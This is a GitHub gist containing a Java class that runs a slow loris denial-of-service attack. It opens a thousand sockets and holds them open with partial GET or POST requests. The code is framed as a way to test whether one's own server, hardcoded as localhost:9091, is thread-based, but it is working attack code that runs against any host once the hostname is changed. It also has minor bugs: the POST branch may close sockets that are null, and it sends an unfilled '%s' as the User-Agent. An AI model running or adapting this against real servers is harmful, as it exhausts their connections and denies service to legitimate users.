Skip to content

Instantly share code, notes, and snippets.

@luvarqpp
Created March 25, 2022 08:10
Show Gist options
  • Save luvarqpp/ca66c4d3a2d743cd61c734901550ff4b to your computer and use it in GitHub Desktop.
Save luvarqpp/ca66c4d3a2d743cd61c734901550ff4b to your computer and use it in GitHub Desktop.
Java class which simulates slow loris DoS attack on http server.
import lombok.extern.slf4j.Slf4j;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.Socket;
/**
* Class to empirically test if our server (or whole path including reverse proxy) is thread based or event based.
* Mostly copy/paste from https://stackoverflow.com/a/17558146/11152683
*/
@Slf4j
public class SlowLorisTester {
public static void main(String[] args) throws InterruptedException, IOException {
SlowLorisTester tester = new SlowLorisTester();
new Thread(() -> {
try {
tester.test(MethodType.GET);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
).start();
System.out.println("Enter something to stop.");
System.in.read();
System.out.println("going to stop endless loop.");
tester.stopWorking = true;
}
enum MethodType {
GET,
POST;
}
private volatile boolean stopWorking = false;
private final int connsPerThread = 1000;
private Socket[] socks = new Socket[connsPerThread];
private final String hpHost = "localhost";
private final int hpPort = 9091;
private void test(MethodType dosMethod) throws InterruptedException {
long newConnectionsTillNow = 0;
switch (dosMethod) {
case GET:
while (!stopWorking) {
int newConnections = 0;
for (int i = 0; i < connsPerThread; i++) {
if (socks[i] != null && socks[i].isConnected()) {
try {
PrintWriter pw = new PrintWriter(socks[i].getOutputStream());
pw.println("GET / HTTP/1.1");
pw.println("Host: " + hpHost);
pw.println();
pw.flush();
} catch (Exception e) {
log.warn("Error printing...", e);
}
} else {
try {
socks[i] = new Socket(InetAddress.getByName(hpHost), hpPort);
newConnections++;
System.out.print(".");
Thread.sleep(1);
} catch (IOException e) {
log.warn("Error creating socket...", e);
}
}
}
if (newConnections > 0) {
System.out.println();
}
newConnectionsTillNow += newConnections;
log.info("Going to sleep to other round. newConnections=" + newConnections + "\t newConnectionsTillNow=" + newConnectionsTillNow);
Thread.sleep(678);
}
break;
case POST:
for (int i = 0; i < connsPerThread; i++) {
try {
socks[i].close();
} catch (IOException e) {
log.warn("Error closing...", e);
}
}
while (!stopWorking) {
for (int i = 0; i < connsPerThread; i++) {
if (socks[i].isConnected()) {
try {
PrintWriter pw = new PrintWriter(socks[i].getOutputStream());
pw.println();
} catch (IOException e) {
log.warn("Error printing...", e);
}
} else {
try {
socks[i] = new Socket(InetAddress.getByName(hpHost), hpPort);
PrintWriter pw = new PrintWriter(socks[i].getOutputStream());
pw.println("POST / HTTP/1.1");
pw.println("User-Agent: %s");
pw.println("Connection: keep-alive");
pw.println("Keep-Alive: 900");
pw.println("Content-Length: 10000");
pw.println("Content-Type: application/x-www-form-urlencoded");
pw.println();
pw.flush();
} catch (IOException e) {
log.warn("Error printing...", e);
}
}
}
log.info("Going to sleep to other round.");
Thread.sleep(678);
}
break;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment